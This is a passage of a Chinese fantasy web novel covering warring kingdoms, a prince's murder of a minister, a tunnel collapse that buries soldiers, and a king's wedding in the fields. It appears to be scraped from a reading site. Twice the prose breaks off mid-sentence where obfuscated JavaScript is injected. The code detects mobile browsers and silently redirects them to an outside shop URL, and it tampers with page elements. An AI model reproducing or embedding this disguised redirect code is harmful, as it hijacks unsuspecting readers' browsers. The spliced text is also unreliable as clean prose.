“天下已定?”元乾将酒杯搁在案上,杯底磕出一声脆响,“凛锋拓石连取五城,夺了我瓦鲁多少疆土?滨蓝拓云疏浚水脉、招抚流民,我瓦鲁多少百姓逃往滨蓝?就连曦宇那个拓宏——他一条‘德治’令下去,我边境子民举村迁徙。这叫天下已定?” 他站起身,踱到看台边缘,居高临下地看着那个跪伏在地的老臣。 “休养生息?休谁的息,养谁的生?那些草芥,生来便是为瓦鲁的铁骑铺路的。他们的命不是命,是薪柴。瓦鲁的国运,是烧这些薪柴烧出来的。你要朕停下——停下之后呢?等着凛锋打过来?等着曦宇吞过来?” 他转过身,背对着围场,背对着那个趴在泥地上浑身是血的税吏。 “朕的仁政,就是瓦鲁的铁骑。” 一片死寂中,元炀喆站了起来。 他走到看台边,低头看了看那个跪伏在地的老臣,又转头看了看围场上那个已经爬不动了的税吏,像是在两件玩物之间做一道算术题。 “父王,这位老大人,半年前谢家逼宫的时候,可是给谢家送过信?” 吏部大臣的脸在一瞬间变得惨白。“殿下!老臣冤枉!老臣对王上忠心耿耿,从未与谢家有私——” 元炀喆的手已经搭上了剑柄。那是一柄少年剑,比寻常长剑短三寸,轻两斤。他抽出剑的动作很随意,像是从笔筒里取一支笔。剑尖点在那卷被汗浸透的账册上,轻轻一挑——账册散开,纸张哗啦落了一地。 “谢家余孽,同党犹存。意图谋反,罪不容诛。” 剑光起。 不是劈,不是砍,是刺。极准的一刺,从左侧第三根肋骨与第四根肋骨之间穿进去,穿过肺叶,穿过心包,剑尖从后背透出半寸。 十二岁的少年,力气不够劈开一个人的胸膛,但他记得父王教过他的——杀人不必用力,认准位置,一刺就够了。 吏部大臣低头看了看自己胸口那道极细的剑口,又抬起头,看着眼前这个十二岁的少年。他的嘴唇翕动着,像是想说什么——然后血从嘴里涌出来,把那句没说完的话堵在了喉咙里。他向前栽倒,额头磕在石阶上,发出一声闷响。 元炀喆把剑拔出来,剑身上血不多,只有薄薄一层。他从袖中取出帕子,仔细擦拭剑身。擦得很慢,很细,剑格、剑脊、剑锋,每一寸都擦到。然后他将帕子对折了一下,再对折,叠成方方正正的一小块,搁在老臣的背上。雪白的绸面上洇开一抹暗红,慢慢扩大,边缘洇成淡粉色,像一朵开得很慢的花。 “还有谁?” 看台上鸦雀无声。少年们握着弓箭的手在发抖,贵族们低下了头,连围场上那几匹马都不再打响鼻。 元瑶珂坐在椅上,轻轻鼓掌。“喆儿,这一剑比你父王当年还稳。” 元炀喆没有听见母亲的夸赞。他正歪着头,侧着耳朵,像是在听什么别人听不见的声音。那声音从骨缝里来——凉的,细的,像一条蛇从耳道钻进去,沿着颅骨的缝隙往下爬。不是完整的句子,是碎片。是许多张嘴在同时翕动,翕动间漏出几个词—— ……都是敌人……杀了就清静了…… ……王不需要仁政……王只需要…… 元炀喆的眼睛亮了一瞬——不是清澈的亮,是火炭上最后那层灰被吹开,露出了底下暗红色的、还在烧的芯。 他将擦干净的剑插回剑鞘,转过身,对元乾咧嘴一笑。那笑容明晃晃的,干干净净的,像是刚刚从书斋里背完一课出来的孩子。 “父王,乱臣已诛。” 殿外,风卷过瓦鲁王都的街巷。一处低矮的民房前,一个老妇人正跪在门口,朝着王宫的方向磕头。她的儿子去年被拉去当了壮丁,从此杳无音信。她每天傍晚都磕三个头,不求别的,只求儿子还活着。 今夜她磕完头抬起头时,看见王宫上空那片天是暗红色的——不是晚霞,不是火光,是另一种光。像是地底深处有什么东西正透过泥土的缝隙往外渗。 她打了个寒颤,将破棉袄裹紧了些,缩回了屋里。 在她脚下不知多深的地方,湮渊正缓缓翻了个身。它比几个月前大了许多。那些从瓦鲁每一个角落渗下来的怨气——死在围场上的人猎、死在战场上的士卒、饿死在田埂上的农人、被拉走壮丁后再也没有回来过的父亲和儿子——都在它体内沉积、发酵,像一潭死水中不断堆积的淤泥,越积越厚,越压越密。 它已经不满足于吸食。它在等。 它的触须顺着地底的裂隙往四面八方伸展。它听见了元炀喆的笑声,那笑声清脆而残忍。它听见了元瑶珂那句“慈悲只属于弱者。它听见了老妇人磕头时额头碰在冷地上的闷响。它听见了整个瓦鲁——这片被铁血喂了太久的土地——正在从根上烂掉。 它收拢了触须,重新沉入浊泉深处。地底的水温比昨日又凉了几度,水色比昨日又浓了几重。那些沉积的怨气在它周身缓缓旋转,越转越慢,越转越沉,像一块正在形成的漩涡。 凛锋前线军报八百里加急送到时,拓石正在鹤鸣关大营中与诸将议事。 送信的小校满身尘土,靴子磨穿了底,跪在帐中时膝盖磕破了皮。他将军报举过头顶,声音沙哑——前线已失五城,拓石连战连捷,瓦鲁驻军死伤过半,残部退守孤城,粮道被断,最多再撑半个月。 诸将面露喜色。有人拍案而起:“王上,乘胜追击,一举拿下瓦鲁王都!” 拓石没有接话。他将军报搁在案上,起身走到舆图前。图上五城已标朱圈,瓦鲁残部蜷缩在西境一隅,像一头被逼到墙角的困兽。他看着那片被朱笔圈过的疆域,沉默了很久。 “瓦鲁王元乾,原名宇文阚。”他终于开口,声音不高,“是先王的亲弟弟,朕的亲叔叔。瓦鲁与曦宇,本是同根。” 帐中安静下来。诸将面面相觑,方才拍案的那人也缓缓坐了回去。 “他叛出曦宇、自立为王、穷兵黩武——这些是事实。但他如今递了和书,愿归还所侵疆土,割地赔款,从此臣服。”拓石转过身,看着帐中诸将,“这场仗已经打了太久,死了太多人。若能不战而止,何必赶尽杀绝。” 他提笔在军报上批了两个字:准和。 和谈的地点定在鹤鸣关外三十里的一处荒丘。拓石只带了二十骑前往,铠甲未解,长枪横于鞍前。荒丘上无树无石,只有齐膝深的枯草和远处低低压着的灰云。瓦鲁使臣早已候在帐中,递上和书,言辞卑恭,条款分明。 拓石逐条看完,没有发现破绽。他提起笔,在受降书上签下了自己的名字。 笔搁下时,他忽然觉得脚下震了一下。极轻,轻得像是很远的地方有一块石头从悬崖上滚落,砸进深谷,余波传到此处时只剩脚底板下的一丝微颤。帐中诸人皆未察觉,只有他握笔的手指在案上顿了一瞬。 他没有多想。 就在此时,帐外忽然传来急报——西境有异动。 一名斥候浑身是土,跪在帐前,声音发颤:“殿下!西境山谷中发现瓦鲁兵卒正在开凿地洞,数量不少,方向直指我军侧翼!末将沿途探查,那些地洞——”他咽了一口唾沫,“地洞挖得极深,不是寻常的突袭地道。末将看见他们往洞壁里填火油。” 拓石的脸色变了。 “传令,全军戒备——” 话音未落,脚下猛地一震。 不是方才那种极轻的颤动,是大地在咆哮。一声沉闷的巨响从西境方向滚滚而来,像一柄看不见的巨锤砸在地底深处,整座荒丘都在颤抖。帐外的战马发出惊恐的嘶鸣,案上的地图滑落在地,砚台翻倒,墨汁泼洒在案面上,黑沉沉地漫开。紧接着是第二声,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643520|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三声——不是雷,是土层断裂的声音,是大地被撕开的声音。 拓石冲出帐外。 西边的天际线上,巨大的烟尘正腾空而起,像一只灰黄色的巨手从地底伸出,遮蔽了半边天幕。那是塌方——不是一处,是绵延数里的地层同时塌陷。 那些瓦鲁兵卒挖出来的地洞在酥松的土质上连成了片,一洞承受不住自身的重量,压穿了与邻洞之间的薄壁,邻洞再压穿下一道薄壁——像一串被点燃的鞭炮,只不过炸开的不是火花,是吞噬一切的地裂。 整片山谷像被抽去了底,地面整块整块地往下沉,树木、岩石、来不及逃命的士兵,全都随着塌落的土层坠入深渊。 哀嚎声从地底传上来。隔着数十里仍能听见——不是一声两声,是成百上千人同时在惨叫。那些在地下填火油的兵卒来不及逃,被塌落的土层活活埋了进去。 有的人半截身子露在外面,双手扒着泥土,指骨断裂,血和泥混在一起糊了满脸,却怎么也爬不出来;有的人被埋得更深,地面上只剩一只手,手指还在抽搐,然后慢慢停了;还有的人连手都没有留下,只有塌陷边缘的半行脚印,下一刻便被崩塌的碎石掩埋得干干净净。 拓石站在帐外,看着那片烟尘,一动不动。他握着长枪的那只手不知何时已经松开了缰绳,垂在身侧,指节攥得发白。 受降书上的墨迹还没有干透。那些在停战文书的墨香中相信自己能活着回家的瓦鲁兵卒,此刻正被埋在黄土之下——与火油、与地洞、与他们来不及点燃的阴谋一起烂掉。他给出去的宽恕,没有来得及传到他们的耳朵里。 “殿下!东侧山谷发现一处地洞没有塌落,洞口完好!”斥候来报,声音急促。 拓石翻身上马。“带路。” 他策马疾驰,身后二十骑紧随。马蹄踏过荒丘上的枯草,扬起一路碎尘。远处那片烟尘还没有散尽,混着血腥味和泥土翻搅后的腥甜,一阵一阵涌过来,呛得人睁不开眼。他没有停马,伏低身子,目光紧盯着前方。 东侧山谷。那处地洞果然完好。洞口开在山壁的凹陷处,被几棵歪斜的古树遮着,若非斥候提前探过,绝难发现。拓石翻身下马,走到洞口,往里看去。 洞里很暗,但隐约能看见火光在深处明灭。那是瓦鲁兵卒留下的火把,还没来得及点燃火油,地就塌了。洞壁上凿痕粗糙,支撑的木桩歪歪扭扭,显然仓促赶工。 洞底深处,火油的气味浓得刺鼻,沿着洞壁渗下来的水流已经浸黑了半面石壁。火把的微光在水面上跳跃,映出洞壁上密密麻麻的凿痕——每一下都是贪婪,每一下都在往地底深处挖,每一下都以为能挖穿敌军的防线,结果挖穿的是自己的坟墓。 拓石站在洞口,身后是将士们粗重的呼吸。远处塌方区仍在不断传来零星的崩落声和将死之人的呻吟。 他握枪的那只手,骨节抵在枪杆上,微微发颤。不是因为恐惧——是因为他刚刚签完和书。墨迹未干,地就裂了。他选择了宽恕,宽恕的对象却在他签字的那一刻,正往地底填火油。 他一句话也没有说。 当夜,瓦鲁王都。 猎鼓早已歇了,围场上空无一人。月光照在那片被马蹄踩烂的泥地上,照见了那个税吏拖出去时留下的血痕,也照见了看台下老臣磕头时留在石阶上的那一小片暗红——元炀喆搁在老臣背上的那条帕子已经被风刮走了,但石阶上的血渍还在,干涸之后变成一种近乎铁锈的颜色。 千里之外,滨蓝。 这一夜的潮水来得比以往任何一天都早。海水漫过了码头的石阶,漫进了临海的几间矮屋,退去时在石板上留下了一层极薄的暗灰色泡沫。 一个早起捡海菜的渔妇蹲在码头边,用手指沾了一点泡沫放在鼻尖闻了闻——不是海腥味,是另一种更深更沉的气味,像暴雨后从地窖里翻上来的陈泥。 她把手指在衣襟上蹭了蹭,站起来,望着黑沉沉的海面。潮水退去的方向,海平线上有一道极淡的光带,暗红色的,像是被什么力量从海底往上透。她打了个寒颤,将竹篮往怀里紧了紧,转身回了屋。 青岚,循化岛。 岛上的古树在这一夜同时落了叶。守岛的老仆天不亮就起来扫落叶,扫到第三棵树时停了手——那些叶子在落地之前还是绿的。他蹲下去捡起一片,翻过来,叶背的脉络里嵌着极细的黑纹,像毛细血管里渗进了墨。 他抬起头,看见满岛的落叶都在晨光里泛着同一种颜色——不是枯黄,不是灰褐,是介于绿与黑之间的某种东西。风从岛中央那棵古银杏的方向吹过来,吹得地上的落叶簌簌作响,像是整座岛在发抖。 曦宇,杏花村。 井水又黄了三分。老村长蹲在井沿上,用绳子吊了一盏油灯下去,灯光照见水面时,他看见井壁上有一道昨天还没有的裂缝,水从裂缝里往外渗,一滴一滴,像井在出冷汗。 他把油灯提上来,吹灭了,坐在井沿上抽了一袋烟。远处雨虹山的轮廓在晨雾中若隐若现,山腰处那片枫林已经红了大半——不是深秋的红,是另一种,像是被什么东西从底下烧过。 没有人把这四件事联系在一起——瓦鲁老妇人看见的暗红天光,滨蓝渔妇在码头上闻到的陈泥气味,青岚老仆手中那片嵌着黑纹的落叶,曦宇老村长井壁上那道渗水的裂缝。没有人知道这四个方向正在同时发生同一件事。 只有地底深处,湮渊缓缓收紧了一道触须。它感觉到了——那些裂缝,那些浊水,那些变色的叶脉,都是它在伸展。那些死在地洞里的人,那些死在围场上的冤魂,那个跪在门口磕头的老妇人眼中越来越暗的光——都在喂养它。 它不再自言自语了。它只是在等。 45. 之子于归 桃之夭夭,灼灼其华。之子于归,宜其室家。 ——《诗经·周南·桃夭》 千里之外,曦宇边境。 拓宏将奏章搁下,推开御书房的门。夜风迎面扑来,带着泥土翻过来之后那股湿润的、微腥的气息——是地。被开垦过的、翻过身的、等待着种子的土地的气味。 一个多月前,他颁布了那道被后世称为“德治令”的诏书。诏书的措辞更像是乡约,说的是“人心中有此一线,守住便是平和,越过便是深渊”。 这条线,是人心中最基本的道德。 线之下是底线——杀人偿命,欠债还钱,盗抢者刑,欺诈者罚。触之必罚,无情面可讲。但底线只是地基。拓宏要的,是在地基之上立起一座全民的共识——人人向善,人人向好。 线之上,三年不征,开荒者五年不纳粮,兴学者官府给书,行善者免徭役,老弱无依者由公仓供养。 守住底线的人,国家给扶持;做得比底线更好的人,国家给更宽的路。它没有封任何人的官,没有征任何人的田——它划了一条线,让人知道什么不能做,更让人知道,做了该做的事之后,脚下的路会越走越宽。 一个王怎么会这样治国?但百姓们信了——他们信的是那个站在田埂上的人。 拓宏到边境时,流民营已经绵延了三十里。从瓦鲁逃来的,从凛锋迁徙来的,从那些在五国夹缝中苟延残喘的微末小国逃难来的——面黄肌瘦的人挤在临时搭起的棚子里。棚子不够用,很多人就睡在露天的草地上,把枯草裹在身上当被子。而更多的难民正在路上。 拓宏没有坐在大帐里批文书。他脱了王袍,换上一身灰布短褐,赤脚踩进田里。 拓荒是一锄一锄翻出来的事——流民来了,要有地种;有地种,要有种子;有种子,要有水渠;有水渠,要有牛犁。这些东西不会从天上掉下来。 他带着人一锄一锄地翻,一垄一垄地开。有流民认出他,跪下来磕头喊“王上”。他头也不抬:“来,锄头拿稳。” 在田里,他只是一个种地的人。 一个月。三十里流民营变成了五十里新垦田。臭烘烘的难民营变成了有田埂、有水渠、有茅草屋的定居点。孩子们开始在田埂上追着跑,大人们开始为了田埂的边界吵架,然后又蹲在一起商量水渠的走向。 拓宏蹲在田埂上听他们吵完,站起来用脚在泥地上划了一道线:“以这道线为准。左边的归你,右边的归他。再有争执,找你们的村长。”他们已经有了村长——自己选出来的,种地种得最好的那个人。 流民营的另一头,悦然站在一间临时搭起的茅草棚前。棚子不大,四面透风,顶上盖着干芦苇,地上铺着稻草。孩子们坐在稻草上,一人手里捏着一根炭条,在树皮上写字。没有纸,没有笔,没有墨——但他们的眼睛是亮的。 “这个字念‘田’。”悦然蹲下来,用炭条在树皮上写了一个歪歪扭扭的字,“田就是种粮食的地方。你们爹娘现在正在田里干活——学会了这个字,你们就能帮他们记账了。以后收了多少粮,卖了多少度,不会再被人骗。” 一个瘦小的女孩举起手:“姐姐,这个字是你造的吗?”她穿着用大人衣裳改小的粗布褂子,袖子卷了好几道,还是长过手指。 她叫阿苕,今年九岁,从瓦鲁逃来。爹死在战场上,娘在流亡路上病死了,她跟着邻家婶子走了一个月才到曦宇边境。 悦然看着她,微微一笑:“不是。是很久很久以前,一个很老很老的人造了这个字。” “那那个人见过田吗?” “见过。他见过很多田,很多很多人。他造这个字,是希望每一个看到它的人,都能记得田是什么样子。” 阿苕低头看了看自己手里歪歪扭扭的“田”字,又抬起头,望着远处田埂上那些挥锄头的身影。风吹过来,吹乱了她的头发,她把炭条攥得紧紧的,像是攥着一把钥匙。 那天下午,拓宏带着流民继续往东拓土。 铁犁头咬进荒地时,发出一声沉闷的钝响——底下是更硬的东西。拓宏蹲下去,用手扒开泥土。露出一块平整的青石,石面上刻着模糊的纹路。他用袖子擦去浮土,纹路渐渐清晰——是上古的界碑。不知多少年前,有人在这片土地上立过碑,划过年岁,定过疆界。 他掌心按在青石上,感触那些被岁月磨得几乎不可辨的刻痕。 那不是力量的涌入。是一种更慢、更沉的东西——像是疲惫的大地终于等来了一个愿意弯下腰听它说话的人。那些刻痕不是死的,它们在呼吸。每一道被风雨侵蚀的凹槽里都残留着当年立碑人的体温,每一寸被泥土掩盖的碑面都压着无数代人不曾说出的话——关于田垄的边界,关于水渠的走向,关于世世代代在这片土地上争吵又和解、死去又新生的每一个名字。 他不是在唤醒大地。是大地在等他,等了很久。 怀中的旧玉印开始发烫。他把它取出来,印章底部的“坤岳”二字正在发光。那光很沉,很稳——不是破土而出的锋芒,是种子在泥土深处终于触到了光。光顺着他的指缝渗下去,沿着青石上的古界碑蔓延开去。 大地震了一下。像心跳。 田埂上所有锄头都停了。流民们回过头,看见拓宏跪在青石前,手里那枚旧玉印正放出万道光芒。光芒往下走——像水一样从青石上淌下去,淌进泥土里,淌进新开的田垄里,淌进每一条刚挖通的水渠里。流民们膝盖一软,不由自主跪了下去。那些光从他们脚下的泥土里穿过时,有一种前所未有的安宁,像是被大地托住了。 千里之外,青岚,循化岛。 耔煦正蹲在古银杏下查看落叶背面的黑纹。他的手指刚触到一片叶子的叶脉,忽然抬起头。 东南方向的天际线上,一道光正在缓缓升起。不是朝霞的赤金,不是烈日的炽白——是另一种颜色,介于新翻的泥土与初生的麦芽之间,沉沉的,稳稳的,像是大地深处最古老的那一层岩脉终于浮上了地表。那道光贴着地平线蔓延开去,不急不缓,把半片天空都染成了温厚的赭黄色。 他的手顿住了。 指尖那片落叶从他掌心里滑下去,飘落在树根上。 “厚土元君。”他轻声说,嘴唇微微发颤,“觉醒了。” 曦宇边境,田埂上。 拓宏站起来,转过身。他没有看那枚玉印——光芒正在缓缓收敛,重新变回一枚不起眼的旧玉,躺在他满是泥垢的掌心里,像一块刚从土里翻出来的石头。 他看见悦然站在田埂上,肩上还挑着送粥的扁担。夕阳从她背后打过来,把她的影子拉得很长,一直拉到他的脚边。 “我原本,”他开口,声音有些哑,“想等青岚复国之日,再与你大婚。” 悦然把扁担搁下来。 “后来想等四国安定。” 她往前走了一步。 “再后来想等法器归位、神识尽复。” 她又往前走了一步,站在他面前。 “不等了。”他说。 他拉起悦然的手,指缝里还嵌着泥。 “今天地翻完了,法器也认我了。天黑之前,我想娶你。” 悦然愣住了。旁边几个正在垦荒的流民先是面面相觑,然后一个婶子放下手里的锄头,激动得抹起泪来。 孩子们从草棚里冲出来,阿苕跑在最前面,手里还攥着写了“田”字的树皮。所有人都聚过来了,围成一大圈。 没有王冠,没有礼乐,没有百官朝贺——只有新翻的泥土,刚通的水渠,一群衣裳褴褛的流民,和一个正在落下的夕阳。 “嫁给他!嫁给他!”阿苕尖叫起来,把她手里那片树皮高高举起。 悦然看着他。她认识这张脸,认识了不止三年,不止十年,不止一世。他站在田埂上,赤着脚,满手是泥,刚才法器认主时的万丈光芒已经收敛了,此刻他只是一个男人——一个在田里干了一天活、身上还带着汗味和泥土味的男人。他眼里多了一层东西,很沉,很稳,像大地深处最古老的岩石终于浮上了地表。 她忽然笑了。像是回到了杏花村第一次用新锅炒菜的那个中午。她说“我想吃炒菜”,他把厨房烧了,两个人站在浓烟里笑出眼泪。 “好。”她说。就一个字。 然后她又加了一句:“生同灶,死同穴。嫁你也挺好,起码饿不着了。” 拓宏笑了。真正眉眼舒展的笑。他握着她的手,转过身,看着围成一圈的流民们。 “今夜没有什么王,没有什么公主。就是一个种地的男人,娶了一个教书的姑娘。你们是我们的证婚人。” 田埂上安静了一瞬。然后那个上午还在为田埂边界吵架的大叔忽然把锄头往地上一顿,说了句:“这婚事好,不花什么度,还赶上晚粥了。” 所有人哄堂大笑。笑声从田埂上传出去,传进新翻的泥土里,传进正在扎根的种子深处。 当夜,杏花村。 没有王宫的仪仗,没有百官的贺礼,没有满城的灯火。只有一辆马车停在村口那棵老杏树下,两个人推开了那扇褪了色的木门。 院子里挂了两盏红灯笼,是刘嫂子提前挂上去的。光不算亮,但映在雪地上,把整个院子都笼在一层暖洋洋的淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643521|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红里。 月季已经挪进了灶房过冬,花盆搁在灶台旁边的墙角,几朵瘦瘦小小的红花躲在叶子底下,像是还没睡。 灶台上贴着一张红纸剪的“福”字,歪歪扭扭的——是阿吉剪的,边角剪破了两处,但贴在灶墙上,被灶口的火光照着,那两处破口看起来倒像两只在飞的鸟。 窗台上那个粗陶罐里,枯杏枝不知什么时候被人换过了——换成了两根新折的腊梅,花苞还裹着,只有枝头最顶上那一个裂了缝,露出一点嫩黄。旁边搁着一个小陶碟,碟里盛着几颗红枣、几粒桂圆、一小把花生和莲子,都是刘嫂子按乡俗摆的——早生贵子。 拓宏站在院子里,把在路上摘的野花插进陶罐里。没有月季,没有牡丹,都是田埂上采的——几枝经了霜还倔着不枯的野菊,两枝不知名的淡蓝色小花,花瓣薄得透明,在月光下像一小片水。 悦然站在灶房门口,看着那口旧灶台。灶口被刘嫂子刷得干干净净,旁边还摆着一小捆干柴。灶台一角搁着阿吉送来的年糕,蒸熟了,盖在竹编的小盖子底下,还冒着一丝若有若无的热气。 她忽然想起第一天早上,她从灶房里端出第一碗没有糊的粥,拓宏站在院子里劈柴,晨光打在他侧脸上,他回头看了她一眼,什么也没说。 “在看什么?”拓宏从背后走过来。 “看灶台。”她说。她的手指轻轻拂过灶沿,那里有一道浅浅的凹痕,是当年他不小心用火钳磕出来的。“当初你我同灶——那时你说,一人不食肉是为吃素,二人不食肉便是同灶。这一同,就是三年多。” 拓宏没有说话。他走过去,把灶台上的干草塞进灶口,又放了几根细柴,用火折子点燃。火苗舔上干草,橘红色的光从灶口涌出来,映亮了整间灶房。墙上阿吉剪的那个歪扭“福”字被火光照得通亮,那两只飞鸟似的破口像是要从红纸里飞出来。 “同灶,是一辈子的事。”他直起腰,转过身,看着她。 “如今,该是同寝了。” 他迈过门槛,走到她面前。月光从窗棂漏进来,落在他脸上。他的眉眼、鼻梁、嘴唇,和三年多前那个劈柴的少年没有两样。但也不一样了——他的肩膀宽了些,下颌线更分明了些,看她的眼神从克制到了不必克制。他的手穿过她的发丝,捧住她的后脑,动作和第一次吻她时一模一样——轻,稳,不容退后。 “嫁我,”他说,声音哑得不像他,“你可悔?” “不悔。”她把脸贴在他胸口,听着那里面的心跳。灶膛里的火苗也是这个节奏——不急,不缓,一下一下的,像是和他商量好了。“以后便生生世世,同灶同寝,永不分离。” 他的吻落下来。是笃定的吻——知道这个人已经和自己并肩走了很远,以后还会继续走下去的那种笃定。他吻她的唇,她的眼睛,她额头上被腊梅和野花蹭到的那一点花粉。她在他怀里仰起头,回应了他。 窗外,月光铺在雪地上,把院子映成一片安静的银白。村口那棵老杏树的枝丫上挂着几盏阿吉和孩子们放上去的小灯,光很弱,但在无风的夜里一动不动,像是长在树上的果子。远处溪水还没有完全封冻,水流从冰层的缝隙里淌过去,声音轻而脆,像是大地在说梦话。 灶膛里的火已经熄了。余烬还在暗处发着微弱的橘光,像一颗还没有完全凉透的心。那副对联还贴在门框上,虽然褪了色,但字迹仍清晰可见—— 上联歪歪扭扭:杏花春雨,灶火温存。 下联力透纸背:喜乐安平,茅檐一世。 横批四个字:灶暖花长。 然而,这橘色的暖光,照不到千里之外的瓦鲁。 夜风吹过王都空荡荡的街巷。那老妇人缩在破棉袄里,做了一个梦。她梦见儿子回来了,穿着破烂的盔甲,站在门口对她笑。她伸手去摸他的脸,手穿过了他的身体。他在梦里对她说:“娘,我不想死。”她醒来时满脸是泪。 在她脚下不知多深的地方,湮渊又翻了个身。它感觉到了——那股从曦宇方向传来的震动。是法器的归位。 它缓缓收紧了触须,将那道刚被坤岳镇疆玺荡涤过的地脉裂隙重新掰开了一道缝。浊气沿着裂缝无声地渗过去,绕过曦宇的边境,绕过刚通水的新渠,绕到更深处——它在寻找下一个裂口。 它找到了。在那巨大的地陷里,在那弱肉强食的欲念里。 那里的人还在杀,还在死,还在恨。那是它最熟悉的食物,也是它最后的温床。它不再需要自言自语了。它只需要等——等那些裂隙自己长大,等地底的水再凉几分,等那个跪在门口磕头的老妇人眼里最后一点光熄灭。 46. 金石为开 政者,正也。子帅以正,孰敢不正? ——《论语·颜渊》 凛锋与瓦鲁边境。 地陷发生在卯时。拓石赶到时,整片山谷还在往下塌。土层断断续续地滑落,一块接一块,地底深处传来闷响,像是有什么东西正在一口一口地吞。塌落的碎石砸进更深的裂缝,声音被两侧山壁弹回来,在山谷里来回撞击,久久不散。 第一批兵卒已经开始挖了。没有工具,用手。拓石看见一个年轻的士兵跪在碎石堆上,十根指头全磨破了,血把碎石染得发黑。他挖出来的第一个人已经死了,半截身子埋在土里,嘴大张着,嘴里全是泥。 拓石翻身下马。 "分三队。一队挖东侧,二队挖西侧,三队往北面探,找幸存者。"他的声音压过了地底的闷响。没有人应声,但所有人都动了。 他蹲下去,和士兵一起挖。长枪插在身旁的地上,枪缨被风吹得猎猎作响。他没有戴手套。第一块石头搬开时,指尖破了。第三块石头搬开时,掌心磨掉了一层皮。第十块石头搬开时,手背被碎石划了一道口子,血从伤口里渗出来,滴在泥土上。 血渗入泥土的那一刻,地底极深处传来一道震颤。余震已经停了多时。这道震颤不属于任何塌方。 他抬起头。 远处。山谷尽头。一座山体稳稳立在塌方区之外。周围的山都在往下掉,只有它纹丝不动,整座山从深处往外撑着一股力,把它钉在了地上。拓石盯着那座山看了几息。没有时间多想。 "继续挖。"他说。 千里之外,滨蓝。 飓风来的时候没有任何预兆。它从天与海的缝隙里撕出来。渔民老陈头后来说,他活了六十年,没见过这样的风。风是砸下来的。第一阵风就把渔村最东边那间屋子的顶掀了,茅草在空中转了半圈,被卷进海里。 拓云正在海边帮老陈头收网。风里的声音像尖叫。风经过海面时,把浪尖上那层水膜撕碎了,水珠像砂石一样打在他脸上。然后他看见了浪。 一道墙。黑色的,从海平线上立起来,遮住了半边天空。 "跑!"他喊。老陈头跑了两步,摔倒了。他年轻时在礁石上摔断过腿,接得不好,跑不快。他的儿子出海了,家里只剩他和一个五岁的孙子。孙子此刻正站在院门口,抱着门框,吓得哭不出声。 拓云把老陈头夹起来,往岸上跑。浪在他身后追。他跑过晒网的木架,跑过搁浅的渔船,跑过被风刮倒的篱笆。他把老陈头塞进院门,转身又往海边跑。院里还有一个孩子。 他抱起孩子的时候,浪已经到身后了。一股力量从背后压过来,硬的,冷的,整座海洋被翻转过来,砸在他背上。 孩子从他手里脱了出去。他伸手去抓,没抓住。 那张脸很小,五官还没长开,嘴里吐出一串气泡,每一颗气泡里都裹着一小点光。然后那张脸在水里转了一下,不见了。 他在水里拼命睁着眼。海水灌进他的口鼻,却没有让他感到窒息——沧澜之力本能地护住了他,水在他的肺腑间化为一层薄薄的气腔。他伸手去捞孩子,但飓风搅乱了整片海域的水脉,水流狂暴而混乱,他的手在水里划过,什么都抓不住。 他往下沉。海水从浊变成黑,从黑变成一种没有光的、极致的暗。 他的脚踩到了底。 沙上刻着法阵。沉在海底的、不知沉睡了多少年的上古法阵。阵纹在他脚下亮了一瞬,沧澜云水拂就浮在阵心,拂尘轻轻摆动,像在等什么人。他伸手去够。指尖离拂尘只差半寸。 一道暗流从侧面涌来。那也是水,但水里裹着一股极细极冷的浊气。浊气像针一样扎进他的经脉,原本乖顺护体的水膜瞬间被刺破,沉重的水压重新裹住了他。暗流撞上他的身体,把他卷走了。 他的意识在那一刻断裂了。黑暗中,他只记得一件事:那个孩子没有救上来。 几乎同一时刻,青岚,循化岛。 古银杏落了两片叶子,落在耔煦肩上。他没有拂。 从第一片叶子背面浮现黑纹的那个清晨起,他就没有离开过这座岛。每天他都会在林子里走一圈,蹲在一棵又一棵古树下,把落叶翻过来,查看叶脉的走势。黑纹最初只是几条细线,顺着叶脉往叶尖方向渗透。后来开始分叉,从主脉蔓延到侧脉,再从侧脉蔓延到叶缘。现在,整片林子的落叶都泛着同一种颜色——介于绿与黑之间的某种东西,像伤口边缘正在往里渗的瘀血。 他等不了了。 他在银杏树下盘膝而坐,双手结印,指尖相抵。这是他恢复仙身后第一次调用全部神力。他要织一张网。 一道青光从他胸口涌出,顺着树根渗入泥土,沿着地脉往四面八方伸展。泥土深处,无数沉睡的根须被这道光唤醒,开始分蘖,开始延伸,开始向更深处扎。老树生新根,新根催嫩芽,嫩芽破土而出,在一炷香之内长成新的树苗,树苗再扎根,再分蘖,再催芽。 青梧礼仁尺悬在他身前,尺面上的光随着他心念的流转而明灭。 循化岛、青岚、东境——木神的生机织成一张巨网,沿着地脉往更深处推进。净化的光触到第一缕浊气时,浊气沸腾了。那股力量被激怒了。地底深处传来一声沉闷的嘶鸣,无数道浊气同时从裂隙中喷涌而出,裹住那些正在延伸的根须。根须在浊气的侵蚀下一寸寸变黑,枯萎,断裂。 耔煦没有收手。他催动更多神力灌入地脉,新生的根须补上断掉的位置,继续往下扎。 他的胸口猛地一痛。 礼仁尺的光芒在同一瞬黯淡了。浊气顺着根须倒灌回来,沿着地脉涌入他的心口。尺身上传来一阵灼热——不是他的体温,是浊气在撞击。一声极细微的碎裂声从他胸口传出来,衣襟底下有什么东西裂开了一道缝。青光从裂缝里往外涌,被浊气搅得忽明忽暗。 